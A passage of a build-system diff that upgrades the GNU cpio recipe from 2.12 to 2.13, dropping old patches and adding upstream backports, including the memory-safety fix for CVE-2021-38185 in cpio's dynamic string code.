-+ {
-+ if (path_contains_symlink(file_hdr.c_name))
-+ {
-+ /* skip the file */
-+ /*
-+ fprintf(stderr, "Can't write over symlinks. Skipping %s\n", file_hdr.c_name);
-+ tape_toss_input (in_file_des, file_hdr.c_filesize);
-+ tape_skip_padding (in_file_des, file_hdr.c_filesize);
-+ continue;
-+ */
-+ /* terminate */
-+ error (1, 0, _("Can't write over symlinks: %s\n"), file_hdr.c_name);
-+ }
-+ }
-+
- /* Do we need to rename the file? */
- if (rename_flag || rename_batch_file)
- {
-diff --git a/src/extern.h b/src/extern.h
-index e27d662..d864bde 100644
---- a/src/extern.h
-+++ b/src/extern.h
-@@ -96,6 +96,7 @@ extern char input_is_special;
- extern char output_is_special;
- extern char input_is_seekable;
- extern char output_is_seekable;
-+extern bool extract_over_symlinks;
- extern int (*xstat) ();
- extern void (*copy_function) ();
- extern char *change_directory_option;
-diff --git a/src/global.c b/src/global.c
-index 57e505a..336fce4 100644
---- a/src/global.c
-+++ b/src/global.c
-@@ -187,6 +187,9 @@ bool to_stdout_option = false;
- /* The name this program was run with. */
- char *program_name;
-
-+/* Extract files over symbolic links */
-+bool extract_over_symlinks;
-+
- /* A pointer to either lstat or stat, depending on whether
- dereferencing of symlinks is done for input files. */
- int (*xstat) ();
-diff --git a/src/main.c b/src/main.c
-index a13861f..87cb309 100644
---- a/src/main.c
-+++ b/src/main.c
-@@ -59,6 +59,7 @@ enum cpio_options {
- DEBUG_OPTION,
- BLOCK_SIZE_OPTION,
- TO_STDOUT_OPTION,
-+ EXTRACT_OVER_SYMLINKS,
- RENUMBER_INODES_OPTION,
- IGNORE_DEVNO_OPTION,
- DEVICE_INDEPENDENT_OPTION
-@@ -243,6 +244,8 @@ static struct argp_option options[] = {
- N_("Create leading directories where needed"), GRID+1 },
- {"no-preserve-owner", NO_PRESERVE_OWNER_OPTION, 0, 0,
- N_("Do not change the ownership of the files"), GRID+1 },
-+ {"extract-over-symlinks", EXTRACT_OVER_SYMLINKS, 0, 0,
-+ N_("Force writing over symbolic links"), GRID+1 },
- {"unconditional", 'u', NULL, 0,
- N_("Replace all files unconditionally"), GRID+1 },
- {"sparse", SPARSE_OPTION, NULL, 0,
-@@ -432,6 +435,10 @@ crc newc odc bin ustar tar (all-caps also recognized)"), arg));
- no_chown_flag = true;
- break;
-
-+ case EXTRACT_OVER_SYMLINKS: /* --extract-over-symlinks */
-+ extract_over_symlinks = true;
-+ break;
-+
- case 'o': /* Copy-out mode. */
- if (copy_function != 0)
- USAGE_ERROR ((0, 0, _("Mode already defined")));
---
-2.6.2
-
diff --git a/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-segfault-with-append.patch b/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-segfault-with-append.patch
deleted file mode 100644
index ec8b303c43..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-segfault-with-append.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 32d95fe0c90c59352a0ce3102fc9866cbfb0f629 Mon Sep 17 00:00:00 2001
-From: Sergey Poznyakoff <gray@gnu.org>
-Date: Sat, 1 Dec 2018 11:40:02 +0200
-Subject: [PATCH] Fix sigfault when appending to archive
-
-Bug reported by Ross Burton. See
-<http://lists.gnu.org/archive/html/bug-cpio/2018-11/msg00000.html>
-
-* src/util.c: Keep static copy of the buffer pointer; always
-assign it to file_hdr->c_name. Use x2realloc for memory management.
----
- src/util.c | 17 ++++-------------
- 1 file changed, 4 insertions(+), 13 deletions(-)
-
-diff --git a/src/util.c b/src/util.c
-index 10486dc..4e49124 100644
---- a/src/util.c
-+++ b/src/util.c
-@@ -1413,22 +1413,13 @@ set_file_times (int fd,
- void
- cpio_set_c_name (struct cpio_file_stat *file_hdr, char *name)
- {
-+ static char *buf = NULL;
- static size_t buflen = 0;
- size_t len = strlen (name) + 1;
-
-- if (buflen == 0)
-- {
-- buflen = len;
-- if (buflen < 32)
-- buflen = 32;
-- file_hdr->c_name = xmalloc (buflen);
-- }
-- else if (buflen < len)
-- {
-- buflen = len;
-- file_hdr->c_name = xrealloc (file_hdr->c_name, buflen);
-- }
--
-+ while (buflen < len)
-+ buf = x2realloc (buf, &buflen);
-+ file_hdr->c_name = buf;
- file_hdr->c_namesize = len;
- memmove (file_hdr->c_name, name, len);
- }
---
-2.18.0
-
diff --git a/meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
index 6ae213942c..6ae213942c 100644
--- a/meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ b/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch b/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
new file mode 100644
index 0000000000..478324c1c4
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
@@ -0,0 +1,28 @@
+From 33e6cb5a28fab3d99bd6818f8c01e6f33805390f Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Mon, 20 Jan 2020 07:45:39 +0200
+Subject: [PATCH] src/global.c: Remove superfluous declaration of program_name
+
+Upstream-Status: Backport (commit 641d3f4)
+Signed-off-by: Richard Leitner <richard.leitner@skidata.com>
+---
+ src/global.c | 3 ---
+ 1 file changed, 3 deletions(-)
+
+diff --git a/src/global.c b/src/global.c
+index fb3abe9..acf92bc 100644
+--- a/src/global.c
++++ b/src/global.c
+@@ -184,9 +184,6 @@ unsigned int warn_option = 0;
+ /* Extract to standard output? */
+ bool to_stdout_option = false;
+
+-/* The name this program was run with. */
+-char *program_name;
+-
+ /* A pointer to either lstat or stat, depending on whether
+ dereferencing of symlinks is done for input files. */
+ int (*xstat) ();
+--
+2.26.2
+
diff --git a/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
new file mode 100644
index 0000000000..6ceafeee49
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
@@ -0,0 +1,581 @@
+GNU cpio through 2.13 allows attackers to execute arbitrary code via a crafted
+pattern file, because of a dstring.c ds_fgetstr integer overflow that triggers
+an out-of-bounds heap write.
+
+CVE: CVE-2021-38185
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From e494c68a3a0951b1eaba77e2db93f71a890e15d8 Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Sat, 7 Aug 2021 12:52:21 +0300
+Subject: [PATCH 1/3] Rewrite dynamic string support.
+
+* src/dstring.c (ds_init): Take a single argument.
+(ds_free): New function.
+(ds_resize): Take a single argument. Use x2nrealloc to expand
+the storage.
+(ds_reset,ds_append,ds_concat,ds_endswith): New function.
+(ds_fgetstr): Rewrite. In particular, this fixes integer overflow.
+* src/dstring.h (dynamic_string): Keep both the allocated length
+(ds_size) and index of the next free byte in the string (ds_idx).
+(ds_init,ds_resize): Change signature.
+(ds_len): New macro.
+(ds_free,ds_reset,ds_append,ds_concat,ds_endswith): New protos.
+* src/copyin.c: Use new ds_ functions.
+* src/copyout.c: Likewise.
+* src/copypass.c: Likewise.
+* src/util.c: Likewise.
+---
+ src/copyin.c | 40 +++++++++++------------
+ src/copyout.c | 16 ++++-----
+ src/copypass.c | 34 +++++++++----------
+ src/dstring.c | 88 ++++++++++++++++++++++++++++++++++++--------------
+ src/dstring.h | 31 +++++++++---------
+ src/util.c | 6 ++--
+ 6 files changed, 123 insertions(+), 92 deletions(-)
+
+diff --git a/src/copyin.c b/src/copyin.c
+index b29f348..37e503a 100644
+--- a/src/copyin.c
++++ b/src/copyin.c
+@@ -55,11 +55,12 @@ query_rename(struct cpio_file_stat* file_hdr, FILE *tty_in, FILE *tty_out,
+ char *str_res; /* Result for string function. */
+ static dynamic_string new_name; /* New file name for rename option. */
+ static int initialized_new_name = false;
++
+ if (!initialized_new_name)
+- {
+- ds_init (&new_name, 128);
+- initialized_new_name = true;
+- }
++ {
++ ds_init (&new_name);
++ initialized_new_name = true;
++ }
+
+ if (rename_flag)
+ {
+@@ -779,37 +780,36 @@ long_format (struct cpio_file_stat *file_hdr, char const *link_name)
+ already in `save_patterns' (from the command line) are preserved. */
+
+ static void
+-read_pattern_file ()
++read_pattern_file (void)
+ {
+- int max_new_patterns;
+- char **new_save_patterns;
+- int new_num_patterns;
++ char **new_save_patterns = NULL;
++ size_t max_new_patterns;
++ size_t new_num_patterns;
+ int i;
+- dynamic_string pattern_name;
++ dynamic_string pattern_name = DYNAMIC_STRING_INITIALIZER;
+ FILE *pattern_fp;
+
+ if (num_patterns < 0)
+ num_patterns = 0;
+- max_new_patterns = 1 + num_patterns;
+- new_save_patterns = (char **) xmalloc (max_new_patterns * sizeof (char *));
+ new_num_patterns = num_patterns;
+- ds_init (&pattern_name, 128);
++ max_new_patterns = num_patterns;
++ new_save_patterns = xcalloc (max_new_patterns, sizeof (new_save_patterns[0]));
+
+ pattern_fp = fopen (pattern_file_name, "r");
+ if (pattern_fp == NULL)
+ open_fatal (pattern_file_name);
+ while (ds_fgetstr (pattern_fp, &pattern_name, '\n') != NULL)
+ {
+- if (new_num_patterns >= max_new_patterns)
+- {
+- max_new_patterns += 1;
+- new_save_patterns = (char **)
+- xrealloc ((char *) new_save_patterns,
+- max_new_patterns * sizeof (char *));
+- }
++ if (new_num_patterns == max_new_patterns)
++ new_save_patterns = x2nrealloc (new_save_patterns,
++ &max_new_patterns,
++ sizeof (new_save_patterns[0]));
+ new_save_patterns[new_num_patterns] = xstrdup (pattern_name.ds_string);
+ ++new_num_patterns;
+ }
++
++ ds_free (&pattern_name);
++
+ if (ferror (pattern_fp) || fclose (pattern_fp) == EOF)
+ close_error (pattern_file_name);
+
+@@ -1196,7 +1196,7 @@ swab_array (char *ptr, int count)
+ in the file system. */
+
+ void
+-process_copy_in ()
++process_copy_in (void)
+ {
+ char done = false; /* True if trailer reached. */
+ FILE *tty_in = NULL; /* Interactive file for rename option. */
+diff --git a/src/copyout.c b/src/copyout.c
+index 8b0beb6..26e3dda 100644
+--- a/src/copyout.c
++++ b/src/copyout.c
+@@ -594,9 +594,10 @@ assign_string (char **pvar, char *value)
+ The format of the header depends on the compatibility (-c) flag. */
+
+ void
+-process_copy_out ()
++process_copy_out (void)
+ {
+- dynamic_string input_name; /* Name of file read from stdin. */
++ dynamic_string input_name = DYNAMIC_STRING_INITIALIZER;
++ /* Name of file read from stdin. */
+ struct stat file_stat; /* Stat record for file. */
+ struct cpio_file_stat file_hdr = CPIO_FILE_STAT_INITIALIZER;
+ /* Output header information. */
+@@ -605,7 +606,6 @@ process_copy_out ()
+ char *orig_file_name = NULL;
+
+ /* Initialize the copy out. */
+- ds_init (&input_name, 128);
+ file_hdr.c_magic = 070707;
+
+ /* Check whether the output file might be a tape. */
+@@ -657,14 +657,9 @@ process_copy_out ()
+ {
+ if (file_hdr.c_mode & CP_IFDIR)
+ {
+- int len = strlen (input_name.ds_string);
+ /* Make sure the name ends with a slash */
+- if (input_name.ds_string[len-1] != '/')
+- {
+- ds_resize (&input_name, len + 2);
+- input_name.ds_string[len] = '/';
+- input_name.ds_string[len+1] = 0;
+- }
++ if (!ds_endswith (&input_name, '/'))
++ ds_append (&input_name, '/');
+ }
+ }
+
+@@ -875,6 +870,7 @@ process_copy_out ()
+ (unsigned long) blocks), (unsigned long) blocks);
+ }
+ cpio_file_stat_free (&file_hdr);
++ ds_free (&input_name);
+ }
+
+
+diff --git a/src/copypass.c b/src/copypass.c
+index dc13b5b..62f31c6 100644
+--- a/src/copypass.c
++++ b/src/copypass.c
+@@ -48,10 +48,12 @@ set_copypass_perms (int fd, const char *name, struct stat *st)
+ If `link_flag', link instead of copying. */
+
+ void
+-process_copy_pass ()
++process_copy_pass (void)
+ {
+- dynamic_string input_name; /* Name of file from stdin. */
+- dynamic_string output_name; /* Name of new file. */
++ dynamic_string input_name = DYNAMIC_STRING_INITIALIZER;
++ /* Name of file from stdin. */
++ dynamic_string output_name = DYNAMIC_STRING_INITIALIZER;
++ /* Name of new file. */
+ size_t dirname_len; /* Length of `directory_name'. */
+ int res; /* Result of functions. */
+ char *slash; /* For moving past slashes in input name. */
+@@ -65,25 +67,18 @@ process_copy_pass ()
+ created files */
+
+ /* Initialize the copy pass. */
+- ds_init (&input_name, 128);
+
+ dirname_len = strlen (directory_name);
+ if (change_directory_option && !ISSLASH (directory_name[0]))
+ {
+ char *pwd = xgetcwd ();
+-
+- dirname_len += strlen (pwd) + 1;
+- ds_init (&output_name, dirname_len + 2);
+- strcpy (output_name.ds_string, pwd);
+- strcat (output_name.ds_string, "/");
+- strcat (output_name.ds_string, directory_name);
++
++ ds_concat (&output_name, pwd);
++ ds_append (&output_name, '/');
+ }
+- else
+- {
+- ds_init (&output_name, dirname_len + 2);
+- strcpy (output_name.ds_string, directory_name);
+- }
+- output_name.ds_string[dirname_len] = '/';
++ ds_concat (&output_name, directory_name);
++ ds_append (&output_name, '/');
++ dirname_len = ds_len (&output_name);
+ output_is_seekable = true;
+
+ change_dir ();
+@@ -116,8 +111,8 @@ process_copy_pass ()
+ /* Make the name of the new file. */
+ for (slash = input_name.ds_string; *slash == '/'; ++slash)
+ ;
+- ds_resize (&output_name, dirname_len + strlen (slash) + 2);
+- strcpy (output_name.ds_string + dirname_len + 1, slash);
++ ds_reset (&output_name, dirname_len);
++ ds_concat (&output_name, slash);
+
+ existing_dir = false;
+ if (lstat (output_name.ds_string, &out_file_stat) == 0)
+@@ -333,6 +328,9 @@ process_copy_pass ()
+ (unsigned long) blocks),
+ (unsigned long) blocks);
+ }
++
++ ds_free (&input_name);
++ ds_free (&output_name);
+ }
+
+ /* Try and create a hard link from FILE_NAME to another file
+diff --git a/src/dstring.c b/src/dstring.c
+index e9c063f..358f356 100644
+--- a/src/dstring.c
++++ b/src/dstring.c
+@@ -20,8 +20,8 @@
+ #if defined(HAVE_CONFIG_H)
+ # include <config.h>
+ #endif
+-
+ #include <stdio.h>
++#include <stdlib.h>
+ #if defined(HAVE_STRING_H) || defined(STDC_HEADERS)
+ #include <string.h>
+ #else
+@@ -33,24 +33,41 @@
+ /* Initialiaze dynamic string STRING with space for SIZE characters. */
+
+ void
+-ds_init (dynamic_string *string, int size)
++ds_init (dynamic_string *string)
++{
++ memset (string, 0, sizeof *string);
++}
++
++/* Free the dynamic string storage. */
++
++void
++ds_free (dynamic_string *string)
+ {
+- string->ds_length = size;
+- string->ds_string = (char *) xmalloc (size);
++ free (string->ds_string);
+ }
+
+-/* Expand dynamic string STRING, if necessary, to hold SIZE characters. */
++/* Expand dynamic string STRING, if necessary. */
+
+ void
+-ds_resize (dynamic_string *string, int size)
++ds_resize (dynamic_string *string)
+ {
+- if (size > string->ds_length)
++ if (string->ds_idx == string->ds_size)
+ {
+- string->ds_length = size;
+- string->ds_string = (char *) xrealloc ((char *) string->ds_string, size);
++ string->ds_string = x2nrealloc (string->ds_string, &string->ds_size,
++ 1);
+ }
+ }
+
++/* Reset the index of the dynamic string S to LEN. */
++
++void
++ds_reset (dynamic_string *s, size_t len)
++{
++ while (len > s->ds_size)
++ ds_resize (s);
++ s->ds_idx = len;
++}
++
+ /* Dynamic string S gets a string terminated by the EOS character
+ (which is removed) from file F. S will increase
+ in size during the function if the string from F is longer than
+@@ -61,34 +78,50 @@ ds_resize (dynamic_string *string, int size)
+ char *
+ ds_fgetstr (FILE *f, dynamic_string *s, char eos)
+ {
+- int insize; /* Amount needed for line. */
+- int strsize; /* Amount allocated for S. */
+ int next_ch;
+
+ /* Initialize. */
+- insize = 0;
+- strsize = s->ds_length;
++ s->ds_idx = 0;
+
+ /* Read the input string. */
+- next_ch = getc (f);
+- while (next_ch != eos && next_ch != EOF)
++ while ((next_ch = getc (f)) != eos && next_ch != EOF)
+ {
+- if (insize >= strsize - 1)
+- {
+- ds_resize (s, strsize * 2 + 2);
+- strsize = s->ds_length;
+- }
+- s->ds_string[insize++] = next_ch;
+- next_ch = getc (f);
++ ds_resize (s);
++ s->ds_string[s->ds_idx++] = next_ch;
+ }
+- s->ds_string[insize++] = '\0';
++ ds_resize (s);
++ s->ds_string[s->ds_idx] = '\0';
+
+- if (insize == 1 && next_ch == EOF)
++ if (s->ds_idx == 0 && next_ch == EOF)
+ return NULL;
+ else
+ return s->ds_string;
+ }
+
++void
++ds_append (dynamic_string *s, int c)
++{
++ ds_resize (s);
++ s->ds_string[s->ds_idx] = c;
++ if (c)
++ {
++ s->ds_idx++;
++ ds_resize (s);
++ s->ds_string[s->ds_idx] = 0;
++ }
++}
++
++void
++ds_concat (dynamic_string *s, char const *str)
++{
++ size_t len = strlen (str);
++ while (len + 1 > s->ds_size)
++ ds_resize (s);
++ memcpy (s->ds_string + s->ds_idx, str, len);
++ s->ds_idx += len;
++ s->ds_string[s->ds_idx] = 0;
++}
++
+ char *
+ ds_fgets (FILE *f, dynamic_string *s)
+ {
+@@ -100,3 +133,10 @@ ds_fgetname (FILE *f, dynamic_string *s)
+ {
+ return ds_fgetstr (f, s, '\0');
+ }
++
++/* Return true if the dynamic string S ends with character C. */
++int
++ds_endswith (dynamic_string *s, int c)
++{
++ return (s->ds_idx > 0 && s->ds_string[s->ds_idx - 1] == c);
++}
+diff --git a/src/dstring.h b/src/dstring.h
+index b5135fe..f5b04ef 100644
+--- a/src/dstring.h
++++ b/src/dstring.h
+@@ -17,10 +17,6 @@
+ Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ Boston, MA 02110-1301 USA. */
+
+-#ifndef NULL
+-#define NULL 0
+-#endif
+-
+ /* A dynamic string consists of record that records the size of an
+ allocated string and the pointer to that string. The actual string
+ is a normal zero byte terminated string that can be used with the
+@@ -30,22 +26,25 @@
+
+ typedef struct
+ {
+- int ds_length; /* Actual amount of storage allocated. */
+- char *ds_string; /* String. */
++ size_t ds_size; /* Actual amount of storage allocated. */
++ size_t ds_idx; /* Index of the next free byte in the string. */
++ char *ds_string; /* String storage. */
+ } dynamic_string;
+
++#define DYNAMIC_STRING_INITIALIZER { 0, 0, NULL }
+
+-/* Macros that look similar to the original string functions.
+- WARNING: These macros work only on pointers to dynamic string records.
+- If used with a real record, an "&" must be used to get the pointer. */
+-#define ds_strlen(s) strlen ((s)->ds_string)
+-#define ds_strcmp(s1, s2) strcmp ((s1)->ds_string, (s2)->ds_string)
+-#define ds_strncmp(s1, s2, n) strncmp ((s1)->ds_string, (s2)->ds_string, n)
+-#define ds_index(s, c) index ((s)->ds_string, c)
+-#define ds_rindex(s, c) rindex ((s)->ds_string, c)
++void ds_init (dynamic_string *string);
++void ds_free (dynamic_string *string);
++void ds_reset (dynamic_string *s, size_t len);
+
+-void ds_init (dynamic_string *string, int size);
+-void ds_resize (dynamic_string *string, int size);
++/* All functions below guarantee that s->ds_string[s->ds_idx] == '\0' */
+ char *ds_fgetname (FILE *f, dynamic_string *s);
+ char *ds_fgets (FILE *f, dynamic_string *s);
+ char *ds_fgetstr (FILE *f, dynamic_string *s, char eos);
++void ds_append (dynamic_string *s, int c);
++void ds_concat (dynamic_string *s, char const *str);
++
++#define ds_len(s) ((s)->ds_idx)
++
++int ds_endswith (dynamic_string *s, int c);
++
+diff --git a/src/util.c b/src/util.c
+index 4421b20..6d6bbaa 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -846,11 +846,9 @@ get_next_reel (int tape_des)
+ FILE *tty_out; /* File for interacting with user. */
+ int old_tape_des;
+ char *next_archive_name;
+- dynamic_string new_name;
++ dynamic_string new_name = DYNAMIC_STRING_INITIALIZER;
+ char *str_res;
+
+- ds_init (&new_name, 128);
+-
+ /* Open files for interactive communication. */
+ tty_in = fopen (TTY_NAME, "r");
+ if (tty_in == NULL)
+@@ -925,7 +923,7 @@ get_next_reel (int tape_des)
+ error (PAXEXIT_FAILURE, 0, _("internal error: tape descriptor changed from %d to %d"),
+ old_tape_des, tape_des);
+
+- free (new_name.ds_string);
++ ds_free (&new_name);
+ fclose (tty_in);
+ fclose (tty_out);
+ }
+--
+2.25.1
+
+
+From fb7a51bf85b8e6f045cacb4fb783db4a414741bf Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 11 Aug 2021 18:10:38 +0300
+Subject: [PATCH 2/3] Fix previous commit
+
+* src/dstring.c (ds_reset,ds_concat): Don't call ds_resize in a
+loop.
+---
+ src/dstring.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/dstring.c b/src/dstring.c
+index 358f356..90c691c 100644
+--- a/src/dstring.c
++++ b/src/dstring.c
+@@ -64,7 +64,7 @@ void
+ ds_reset (dynamic_string *s, size_t len)
+ {
+ while (len > s->ds_size)
+- ds_resize (s);
++ s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
+ s->ds_idx = len;
+ }
+
+@@ -116,7 +116,7 @@ ds_concat (dynamic_string *s, char const *str)
+ {
+ size_t len = strlen (str);
+ while (len + 1 > s->ds_size)
+- ds_resize (s);
++ s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
+ memcpy (s->ds_string + s->ds_idx, str, len);
+ s->ds_idx += len;
+ s->ds_string[s->ds_idx] = 0;
+--
+2.25.1
+
+
+From 86b37d74b15f9bb5fe62fd1642cc126d3ace0189 Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 18 Aug 2021 09:41:39 +0300
+Subject: [PATCH 3/3] Fix dynamic string reallocations
+
+* src/dstring.c (ds_resize): Take additional argument: number of
+bytes to leave available after ds_idx. All uses changed.
+---
+ src/dstring.c | 18 ++++++++----------
+ 1 file changed, 8 insertions(+), 10 deletions(-)
+
+diff --git a/src/dstring.c b/src/dstring.c
+index 90c691c..0f597cc 100644
+--- a/src/dstring.c
++++ b/src/dstring.c
+@@ -49,9 +49,9 @@ ds_free (dynamic_string *string)
+ /* Expand dynamic string STRING, if necessary. */
+
+ void
+-ds_resize (dynamic_string *string)
++ds_resize (dynamic_string *string, size_t len)
+ {
+- if (string->ds_idx == string->ds_size)
++ while (len + string->ds_idx >= string->ds_size)
+ {
+ string->ds_string = x2nrealloc (string->ds_string, &string->ds_size,
+ 1);
+@@ -63,8 +63,7 @@ ds_resize (dynamic_string *string)
+ void
+ ds_reset (dynamic_string *s, size_t len)
+ {
+- while (len > s->ds_size)
+- s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
++ ds_resize (s, len);
+ s->ds_idx = len;
+ }
+
+@@ -86,10 +85,10 @@ ds_fgetstr (FILE *f, dynamic_string *s, char eos)
+ /* Read the input string. */
+ while ((next_ch = getc (f)) != eos && next_ch != EOF)
+ {
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx++] = next_ch;
+ }
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx] = '\0';
+
+ if (s->ds_idx == 0 && next_ch == EOF)
+@@ -101,12 +100,12 @@ ds_fgetstr (FILE *f, dynamic_string *s, char eos)
+ void
+ ds_append (dynamic_string *s, int c)
+ {
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx] = c;
+ if (c)
+ {
+ s->ds_idx++;
+- ds_resize (s);
++ ds_resize (s, 0);
+ s->ds_string[s->ds_idx] = 0;
+ }
+ }
+@@ -115,8 +114,7 @@ void
+ ds_concat (dynamic_string *s, char const *str)
+ {
+ size_t len = strlen (str);
+- while (len + 1 > s->ds_size)
+- s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1);
++ ds_resize (s, len);
+ memcpy (s->ds_string + s->ds_idx, str, len);
+ s->ds_idx += len;
+ s->ds_string[s->ds_idx] = 0;
+--
+2.25.1
+
diff --git a/meta/recipes-extended/cpio/cpio_2.12.bb b/meta/recipes-extended/cpio/cpio_2.12.bb
deleted file mode 100644
index 3713bf0b1f..0000000000
--- a/meta/recipes-extended/cpio/cpio_2.12.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "GNU cpio is a program to manage archives of files"
-DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
-another. It handles a number of cpio formats as well as reading and writing tar files."
-HOMEPAGE = "http://www.gnu.org/software/cpio/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
-
-SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0001-Fix-CVE-2015-1197.patch \
- file://0001-CVE-2016-2037-1-byte-out-of-bounds-write.patch \
- file://0001-Fix-segfault-with-append.patch \
- "
-
-SRC_URI[md5sum] = "fc207561a86b63862eea4b8300313e86"
-SRC_URI[sha256sum] = "08a35e92deb3c85d269a0059a27d4140a9667a6369459299d08c17f713a92e73"
-
-inherit autotools gettext texinfo
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}/
- mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
- rmdir ${D}${bindir}/
- fi
-
- # Avoid conflicts with the version from tar
- mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "cpio"
-ALTERNATIVE_${PN}-rmt = "rmt"
-
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-
-ALTERNATIVE_PRIORITY[rmt] = "50"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/cpio/cpio_2.13.bb b/meta/recipes-extended/cpio/cpio_2.13.bb
new file mode 100644
index 0000000000..e72a114de9
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio_2.13.bb
@@ -0,0 +1,55 @@
+SUMMARY = "GNU cpio is a program to manage archives of files"
+DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
+another. It handles a number of cpio formats as well as reading and writing tar files."
+HOMEPAGE = "http://www.gnu.org/software/cpio/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
+
+SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
+ file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
+ file://0002-src-global.c-Remove-superfluous-declaration-of-progr.patch \
+ file://CVE-2021-38185.patch \
+ "
+
+SRC_URI[md5sum] = "389c5452d667c23b5eceb206f5000810"
+SRC_URI[sha256sum] = "e87470d9c984317f658567c03bfefb6b0c829ff17dbf6b0de48d71a4c8f3db88"
+
+inherit autotools gettext texinfo
+
+# Issue applies to use of cpio in SUSE/OBS, doesn't apply to us
+CVE_CHECK_IGNORE += "CVE-2010-4226"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}/
+ mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
+ if [ "${sbindir}" != "${bindir}" ]; then
+ rmdir ${D}${bindir}/
+ fi
+ fi
+
+ # Avoid conflicts with the version from tar
+ mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
+}
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "cpio"
+ALTERNATIVE:${PN}-rmt = "rmt"
+
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+
+ALTERNATIVE_PRIORITY[rmt] = "50"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
deleted file mode 100644
index b251ac9056..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001
-From: Jan Dittberner <jan@dittberner.info>
-Date: Thu, 25 Aug 2016 17:13:49 +0200
-Subject: [PATCH] Apply patch to fix CVE-2016-6318
-
-This patch fixes an issue with a stack-based buffer overflow when
-parsing large GECOS field. See
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and
-https://security-tracker.debian.org/tracker/CVE-2016-6318 for more
-information.
-
-Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1]
-CVE: CVE-2016-6318
